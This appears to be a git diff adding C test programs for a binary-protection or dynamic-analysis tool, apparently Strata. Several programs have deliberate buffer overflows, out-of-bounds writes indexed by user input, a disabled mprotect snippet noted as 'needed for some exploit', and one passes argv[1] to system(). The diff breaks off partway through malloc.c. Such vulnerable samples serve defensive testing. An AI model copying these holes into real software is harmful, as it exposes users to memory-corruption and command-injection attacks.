--- /dev/null
+++ b/peasoup_examples/dyna_examples/cmd_args_005.c
@@ -0,0 +1,170 @@
+#ifdef _MSC_VER
+    #include "gtr/src/lang/gtr_config.h"
+#endif
+#include <stdio.h>
+
+
+#pragma runtime_checks("s", off)
+
+
+int my_ischar(char c)
+{
+    if (c < '0') return 0;
+    if (c > '9') return 0;
+    return 1;
+}
+
+int my_atoi(char * str)
+{
+    int result = 0;
+
+    int i = 0;
+    while (str[i] != 0) {
+
+        if (!my_ischar(str[i])) break;
+
+        int digit = (int) (str[i] - '0');
+
+        result = result * 10 + digit;
+
+        i++;
+    }
+
+    return result;
+}
+
+int my_str_cmp(char * s1, char * s2)
+{
+    int i;
+    for (i = 0; (s1[i] != 0) && (s2[i] != 0); i++) {
+        if (s1[i] != s2[i]) {
+            return 0;
+        }
+    }
+    
+    if ((s1[i] != 0) || (s2[i] != 0))
+        return 0;
+
+    return 1;
+}
+
+
+// date January 10, 1973 
+
+
+struct Date {
+    int day;
+    int month;
+    int year;
+};
+
+
+int lookup_month(char * month)
+{
+    if (my_str_cmp(month, "January")) return 1;
+    if (my_str_cmp(month, "February")) return 2;
+    if (my_str_cmp(month, "March")) return 3;
+    if (my_str_cmp(month, "April")) return 4;
+    if (my_str_cmp(month, "May")) return 5;
+    if (my_str_cmp(month, "June")) return 6;
+    if (my_str_cmp(month, "July")) return 7;
+    if (my_str_cmp(month, "August")) return 8;
+    if (my_str_cmp(month, "September")) return 9;
+    if (my_str_cmp(month, "October")) return 10;
+    if (my_str_cmp(month, "November")) return 11;
+    if (my_str_cmp(month, "December")) return 12;
+    return 0;
+}
+
+
+int parse_date(char * str, struct Date * d)
+{
+    int curr_index = 0;
+
+    // extract month
+    int i = 0;
+    char month[11];
+    for(i = 0; (str[curr_index] != ' '); i++, curr_index++) {
+        if (str[curr_index] == '\0') 
+            return 0;
+        if (i >= 10)
+            return 0;
+        month[i] = str[curr_index];
+    }
+
+    // terminate month
+    month[i] = '\0';
+
+    // lookup month
+    int m = lookup_month(month);
+    if (m == 0) return 0;
+    d->month = m;
+
+    // skip ' '
+    curr_index++;
+
+    char date[3];
+    int j = 0;
+    while (str[curr_index] != ',') {
+        if (!my_ischar(str[curr_index])) return 0;
+        if(j >= 2) return 0;
+        date[j] = str[curr_index];
+        curr_index++;
+        j++;
+    }
+
+    // terminate date
+    date[j] = '\0';
+
+    // get date [check?]
+    int day = my_atoi(date);
+    d->day = day;
+
+    // skip ',' and ' '
+    curr_index++;
+    if (str[curr_index++] != ' ') return 0;
+
+    // get year
+    char year[5];
+    int k = 0;
+    while (str[curr_index] != '\0') {
+        if (!my_ischar(str[curr_index])) return 0;
+        if(k >= 4) return 0;
+        year[k] = str[curr_index];
+        curr_index++;
+        k++;
+    }
+
+    // terminate date
+    year[k] = '\0';
+
+    // get year
+    int y = my_atoi(year);
+    d->year = y;
+
+    return 1;
+}
+
+int main(int argc, char * argv[])
+{
+    if (argc != 2) return 0;
+
+    struct Date d;
+    int r;
+    if (parse_date(argv[1], &d)) {
+        
+        // if date is February 13, 2009 do something
+        if ((d.day == 13) && (d.month == 2) && (d.year == 2009)) {
+//            printf ("Opa");
+            r = 2;
+        }
+        else {
+            r = 1;
+        }
+    }
+    else {
+        r = 0;
+    }
+
+    return r;
+}
diff --git a/peasoup_examples/dyna_examples/concolic_test_handshake.c b/peasoup_examples/dyna_examples/concolic_test_handshake.c
new file mode 100644
index 0000000000000000000000000000000000000000..c8d76478b1db2230ca237cb7af161c9c9878ce37
--- /dev/null
+++ b/peasoup_examples/dyna_examples/concolic_test_handshake.c
@@ -0,0 +1,59 @@
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/types.h>
+#include <sys/ipc.h>
+#include <sys/msg.h>
+
+
+
+main(int argc, char* argv[])
+{
+	printf("Testing started\n");
+	if(!fork())
+	{
+		printf("fork started\n");
+		system(argv[1]);
+		printf("system finished\n");
+		sleep(2);
+		return 0;
+	}
+	else
+	{
+
+		printf("fork started in controller\n");
+        	int msgflg = IPC_CREAT | 0666;
+        	key_t key;
+        	size_t buflen;
+		int msqid;
+		int len;
+		
+		struct msgbuf
+		{
+    				long    mtype;
+    				int     args[3];
+		} sbuf;
+
+
+
+        	key = 1234;
+
+		printf("setting up msgq\n");
+        	if ((msqid = msgget(key, msgflg )) < 0)   /* Get the message queue ID for the given key */
+                	perror("msgget");
+
+
+		printf("getting from msgq\n");
+		len=sizeof(sbuf)-sizeof(int);
+        	if (msgrcv(msqid, &sbuf, len,  0, 0) < 0)
+        	{
+			perror("msgrcv:");
+        	}
+
+		printf("Got message from Strata: type=%d, arg1=%x, arg2=%x, arg3=%x\n", (int)sbuf.mtype, sbuf.args[0], sbuf.args[1], sbuf.args[2]);
+
+		sleep(2);
+		return 0;
+
+	}
+}
+
diff --git a/peasoup_examples/dyna_examples/data.txt b/peasoup_examples/dyna_examples/data.txt
new file mode 100644
index 0000000000000000000000000000000000000000..d00bf42f05b7188e65ea616e5e994e3f7977215c
--- /dev/null
+++ b/peasoup_examples/dyna_examples/data.txt
@@ -0,0 +1 @@
+Jason
diff --git a/peasoup_examples/dyna_examples/dumble_dll.c b/peasoup_examples/dyna_examples/dumble_dll.c
new file mode 100644
index 0000000000000000000000000000000000000000..468536899f515a1928931348b43fb47ede8ebfae
--- /dev/null
+++ b/peasoup_examples/dyna_examples/dumble_dll.c
@@ -0,0 +1,46 @@
+const char my_interp[] __attribute__((section(".interp"))) = "/lib/ld-linux.so.2";
+
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 98};
+
+char grade = 'D';
+char Name[BUFSIZE];
+FILE *f;
+
+void readString(char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = getchar();
+      if ((c == EOF) || (c == '\n')) 
+         break;
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(void) 
+{
+   readString(Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+   exit(0);
+}
+
diff --git a/peasoup_examples/dyna_examples/dumbledore_cmd.c b/peasoup_examples/dyna_examples/dumbledore_cmd.c
new file mode 100644
index 0000000000000000000000000000000000000000..7aff3c7e9b440b4a18f43699b5f5fc713d24c4a1
--- /dev/null
+++ b/peasoup_examples/dyna_examples/dumbledore_cmd.c
@@ -0,0 +1,44 @@
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 24};
+
+char grade = 'D';
+char Name[BUFSIZE];
+
+void readString(char *in, char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = in[i];
+      if ((c == '\0') || (c == '\n')) 
+         break;
+
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(int argc, char * argv[])
+{
+   if (argc == 2)
+      readString(argv[1], Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+   return 0;
+}
diff --git a/peasoup_examples/dyna_examples/dumbledore_file.c b/peasoup_examples/dyna_examples/dumbledore_file.c
new file mode 100644
index 0000000000000000000000000000000000000000..f7c5e203b6e1139822e01be0697c4612fa08da48
--- /dev/null
+++ b/peasoup_examples/dyna_examples/dumbledore_file.c
@@ -0,0 +1,46 @@
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 98};
+
+char grade = 'D';
+char Name[BUFSIZE];
+FILE *f;
+
+void readString(char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = fgetc(f);
+      if ((c == EOF) || (c == '\n')) 
+         break;
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(void) 
+{
+   f = fopen("data.txt", "r");
+
+   readString(Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+   exit(0);
+}
+
diff --git a/peasoup_examples/dyna_examples/dumbledore_file_with_fopen_check.c b/peasoup_examples/dyna_examples/dumbledore_file_with_fopen_check.c
new file mode 100644
index 0000000000000000000000000000000000000000..06d056a7459c0bdf3ec4ff2286d3683da70cd372
--- /dev/null
+++ b/peasoup_examples/dyna_examples/dumbledore_file_with_fopen_check.c
@@ -0,0 +1,46 @@
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 98};
+
+char grade = 'D';
+char Name[BUFSIZE];
+FILE *f;
+
+void readString(char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = fgetc(f);
+      if ((c == EOF) || (c == '\n')) 
+         break;
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(void) 
+{
+   f = fopen("data.txt", "r");
+
+   readString(Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+//   exit(0);
+}
+
diff --git a/peasoup_examples/dyna_examples/dumbledore_stdin.c b/peasoup_examples/dyna_examples/dumbledore_stdin.c
new file mode 100644
index 0000000000000000000000000000000000000000..44c93c0b31f99c4784e1cfbb7260122463b04088
--- /dev/null
+++ b/peasoup_examples/dyna_examples/dumbledore_stdin.c
@@ -0,0 +1,50 @@
+
+#include <stdio.h>
+#include <sys/mman.h>
+#include <string.h>
+#include <stdlib.h>
+
+enum {BUFSIZE = 98};
+
+char grade = 'D';
+char Name[BUFSIZE];
+FILE *f;
+
+void readString(char *s) {
+   char buf[BUFSIZE];
+   int i = 0; 
+   int c;
+
+   for (;;) 
+   {
+      c = getchar();
+      if ((c == EOF) || (c == '\n')) 
+         break;
+      buf[i] = c;
+      i++;
+   }
+   buf[i] = '\0';
+
+   for (i = 0; i < BUFSIZE; i++) 
+      s[i] = buf[i];
+}
+
+
+int main(void) 
+{
+#if 0
+/* needed for some exploit, but not really part of the program! */
+   mprotect((void*)((unsigned int)Name & 0xfffff000), 1,
+            PROT_READ | PROT_WRITE | PROT_EXEC);
+#endif
+   readString(Name);
+
+   if (strcmp(Name, "Wizard in Training") == 0) 
+      grade = 'B';
+
+   printf("Thank you, %s.\n", Name);
+   printf("I recommend that you get a grade of %c on this assignment.\n", grade);
+
+   exit(0);
+}
+
diff --git a/peasoup_examples/dyna_examples/fptest.c b/peasoup_examples/dyna_examples/fptest.c
new file mode 100644
index 0000000000000000000000000000000000000000..6f9df4854172a89abc112faf2c36753f15ee200d
--- /dev/null
+++ b/peasoup_examples/dyna_examples/fptest.c
@@ -0,0 +1,15 @@
+#ident "$Id: fptest.c,v 1.1 2008-01-11 17:05:47 jdh8d Exp $"
+
+#include <stdio.h>
+
+int main (int argc, char *argv[]) {
+	int i, *p;
+	double d=3.1415;
+
+
+	fprintf(stdout, "When Strata controls me I say: %g\n",d);
+
+
+	fflush(stdout);
+	fprintf(stdout, "When I control me I still say: %g\n",d);
+}
diff --git a/peasoup_examples/dyna_examples/globalfield.c b/peasoup_examples/dyna_examples/globalfield.c
new file mode 100644
index 0000000000000000000000000000000000000000..e02376e384915d77970fe16074582c2d299eb391
--- /dev/null
+++ b/peasoup_examples/dyna_examples/globalfield.c
@@ -0,0 +1,54 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+#define TRUE 1
+#define FALSE 0
+
+
+struct ASI {
+  int valid;
+  float (*pt2func)(float, float);
+  int buf[128];
+  int *uid_ptr;
+};  
+
+float FloatingAdd(float a, float b) {
+  return (a + b);
+}
+
+float FloatingSub(float a, float b) {
+  return (a - b);
+}
+
+struct ASI GlobalStruct1;
+
+int main() {
+  int x, index;
+  float y, z, result;
+
+  GlobalStruct1.valid = FALSE;
+  GlobalStruct1.uid_ptr = 0;
+   y = 2.0;
+   z = 13.0;
+
+   printf("Enter a positive integer. Greater than 128 overflows.\n");
+   scanf("%d", &x);
+
+   GlobalStruct1.uid_ptr = &x;
+   if (x < 0) {
+     GlobalStruct1.pt2func = &FloatingAdd;
+   }
+   else {
+     GlobalStruct1.pt2func = &FloatingSub;
+   }
+
+   result = GlobalStruct1.pt2func(y, z);
+
+   for (index = 0; index < x; ++index) { 
+     GlobalStruct1.buf[index] = index;  // buffer overflow vulnerability
+   }
+     
+   GlobalStruct1.valid = TRUE;
+   printf("x = %d y = %f z = %f result = %f uid_ptr=%xl\n", x, y, z, result, GlobalStruct1.uid_ptr);
+   return 0;
+}
diff --git a/peasoup_examples/dyna_examples/hanoi.c b/peasoup_examples/dyna_examples/hanoi.c
new file mode 100644
index 0000000000000000000000000000000000000000..e7336121e5212077ad266f90d36132f64f8c6607
--- /dev/null
+++ b/peasoup_examples/dyna_examples/hanoi.c
@@ -0,0 +1,68 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+void dohanoi(int N, int from, int to, int using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+		exit(1);
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		printf("Hanoi %d\n", i);
+		fflush(stdout);
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/dyna_examples/hanoi_heap_overrun.c b/peasoup_examples/dyna_examples/hanoi_heap_overrun.c
new file mode 100644
index 0000000000000000000000000000000000000000..90d8bbe227790956cbd2b0d59471ba8939bd18a2
--- /dev/null
+++ b/peasoup_examples/dyna_examples/hanoi_heap_overrun.c
@@ -0,0 +1,76 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+int *arr=NULL;
+
+void dohanoi(int N, int from, int to, int using, int arr_count) 
+{ 
+	static int count=0;
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+
+	arr[arr_count]++;
+
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to, arr_count); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from, arr_count); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+	
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	arr=malloc(15*4);
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(i, FROM, TO, USING, i); 
+
+		printf("Hanoi %d, arr[i]=%d\n", i, arr[i]);
+		fflush(stdout);
+	}
+
+	free(arr); arr=0;
+	
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/dyna_examples/hanoi_nostrata.c b/peasoup_examples/dyna_examples/hanoi_nostrata.c
new file mode 100644
index 0000000000000000000000000000000000000000..380fc838b29363b081996c9757fc6f21e3fa960b
--- /dev/null
+++ b/peasoup_examples/dyna_examples/hanoi_nostrata.c
@@ -0,0 +1,67 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+void dohanoi(int N, int from, int to, int using) 
+{ 
+	static int count=0;
+
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(N, FROM, TO, USING); 
+
+		printf("Hanoi %d\n", i);
+		fflush(stdout);
+	}
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/dyna_examples/hanoi_overrun.c b/peasoup_examples/dyna_examples/hanoi_overrun.c
new file mode 100644
index 0000000000000000000000000000000000000000..c9e347c04866dc1c3120e50205b3d0cef5cfd095
--- /dev/null
+++ b/peasoup_examples/dyna_examples/hanoi_overrun.c
@@ -0,0 +1,75 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+int arr[15]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
+int user_group_id_number=0;
+
+void dohanoi(int N, int from, int to, int using, int arr_count) 
+{ 
+	static int count=0;
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+
+	arr[arr_count]++;
+
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to, arr_count); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from, arr_count); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+	
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(i, FROM, TO, USING, i); 
+
+		printf("Hanoi %d, arr[i]=%d\n", i, arr[i]);
+		fflush(stdout);
+	}
+
+	printf("The users' group id is %d, should be 0\n", user_group_id_number);
+
+
+	return 0;
+}
+
diff --git a/peasoup_examples/dyna_examples/hanoi_overrun_tainted.c b/peasoup_examples/dyna_examples/hanoi_overrun_tainted.c
new file mode 100644
index 0000000000000000000000000000000000000000..a34f6926573442893310d5a0d55fbb08d897fcb6
--- /dev/null
+++ b/peasoup_examples/dyna_examples/hanoi_overrun_tainted.c
@@ -0,0 +1,80 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+int arr[15]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
+int user_group_id_number=0;
+
+void dohanoi(int N, int from, int to, int using, int arr_count) 
+{ 
+	static int count=0;
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+
+	arr[arr_count]++;
+
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to, arr_count); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from, arr_count); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+	int arr_count;	/* tainted */
+	
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+	printf("Enter offset to array: ");
+	scanf("%d", &arr_count);
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(i, FROM, TO, USING, arr_count); 
+
+		printf("Hanoi %d, arr[i]=%d\n", i, arr[i]);
+		fflush(stdout);
+	}
+
+	printf("The users' group id is %d, should be 0\n", user_group_id_number);
+
+	
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/dyna_examples/hanoi_overrun_taintedenv.c b/peasoup_examples/dyna_examples/hanoi_overrun_taintedenv.c
new file mode 100644
index 0000000000000000000000000000000000000000..1297464ec2c7f480ebbef8fe1d80023567e7ffce
--- /dev/null
+++ b/peasoup_examples/dyna_examples/hanoi_overrun_taintedenv.c
@@ -0,0 +1,79 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+int arr[15]={0,0,0,0,0,0,0,0,0,0,0,0,0,0,0};
+int user_group_id_number=0;
+
+void dohanoi(int N, int from, int to, int using, int arr_count) 
+{ 
+	static int count=0;
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+
+	arr[arr_count]++;
+
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to, arr_count); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from, arr_count); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+	int arr_count;	/* tainted */
+	
+
+	if (argc != 3) 
+	{ 
+		fprintf(stderr, "usage: %s N M\n", argv[0]); exit(1); 
+	} 
+
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+	arr_count = strtol(argv[2], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(i, FROM, TO, USING, arr_count); 
+
+		printf("Hanoi %d, arr[i]=%d\n", i, arr[i]);
+		fflush(stdout);
+	}
+
+	printf("The users' group id is %d, should be 0\n", user_group_id_number);
+
+	
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/dyna_examples/hanoi_stack_overrun.c b/peasoup_examples/dyna_examples/hanoi_stack_overrun.c
new file mode 100644
index 0000000000000000000000000000000000000000..90d8bbe227790956cbd2b0d59471ba8939bd18a2
--- /dev/null
+++ b/peasoup_examples/dyna_examples/hanoi_stack_overrun.c
@@ -0,0 +1,76 @@
+#include <assert.h>
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+int *arr=NULL;
+
+void dohanoi(int N, int from, int to, int using, int arr_count) 
+{ 
+	static int count=0;
+	assert(N<100); 	/* 100 would take a long time, and recurse really deeply, chnage this const if you want, but this'll avoid unintential segfaults */
+
+	arr[arr_count]++;
+
+	if (N > 0) 
+	{ 
+		dohanoi(N-1, from, using, to, arr_count); 
+
+/* this edit by JDH -  I removed this print statement to make this program more compute bound
+ * also, this comment was added as a test of the branching mechanism we're proposing to use from now on
+ */
+//		printf ("move %d --> %d, count=%d\n", from, to, count++);  
+		dohanoi(N-1, using, to, from, arr_count); 
+	} 
+	else
+	{
+		int j;
+	}
+} 
+
+
+int main (int argc, char **argv) 
+{ 
+	long int N;
+	long int i;
+	int j;
+	
+
+	if (argc != 2) 
+	{ 
+		fprintf(stderr, "usage: %s N\n", argv[0]); exit(1); 
+	} 
+	N = strtol(argv[1], (char **)NULL, 10); /* a bit of error checking, LONG_XXX should be there in limits.h */ 
+
+	arr=malloc(15*4);
+
+	if (N == LONG_MIN || N == LONG_MAX || N <= 0) 
+	{
+	 	fprintf(stderr, "illegal value for number of disks\n"); 
+		exit(2); 
+	}
+
+	for(i=0;i<N;i++)
+	{
+
+
+		printf("Hanoi %d ... \n", i);
+		fflush(stdout);
+		dohanoi(i, FROM, TO, USING, i); 
+
+		printf("Hanoi %d, arr[i]=%d\n", i, arr[i]);
+		fflush(stdout);
+	}
+
+	free(arr); arr=0;
+	
+
+	exit(0); 
+}
+
diff --git a/peasoup_examples/dyna_examples/hello.c b/peasoup_examples/dyna_examples/hello.c
new file mode 100644
index 0000000000000000000000000000000000000000..3780ac55a9bb1270deaeb1f178915d0fade721ba
--- /dev/null
+++ b/peasoup_examples/dyna_examples/hello.c
@@ -0,0 +1,6 @@
+#include <stdio.h>
+
+main()
+{
+	fprintf(stderr, "Hello %d\n", 2);
+}
diff --git a/peasoup_examples/dyna_examples/long.c b/peasoup_examples/dyna_examples/long.c
new file mode 100644
index 0000000000000000000000000000000000000000..5d699f7182cfdd89f7e5fd428962d88978144a0a
--- /dev/null
+++ b/peasoup_examples/dyna_examples/long.c
@@ -0,0 +1,17 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+main(int argc, char* argv[])
+{
+	if(argc!=2)
+	{
+		printf("You suckage.\n");
+		exit(1);
+	}
+
+	while(1)
+	{
+		printf("Sleeping %d ...\n", atoi(argv[1]));
+		sleep(atoi(argv[1]));
+	}
+}
diff --git a/peasoup_examples/dyna_examples/malloc.c b/peasoup_examples/dyna_examples/malloc.c
new file mode 100644
index 0000000000000000000000000000000000000000..6652a56dedaf1f72104cafa0a490fcb09bbab477
--- /dev/null
+++ b/peasoup_examples/dyna_examples/malloc.c
@@ -0,0 +1,78 @@
+/* * The Towers Of Hanoi * C * Copyright (C) 1998 Amit Singh. All Rights Reserved. * * Tested with, ah well ... :) */ 
+#include <stdio.h> 
+#include <stdlib.h> 
+#include <limits.h> 
+#include <assert.h>
+
+
+#define FROM 1 
+#define TO 3 
+#define USING 2 
+
+void dohanoi(int N, int from, int to, int using) 
+{ 
+	static int count=0;
+	static int *malloc_ptr=NULL;
+
+
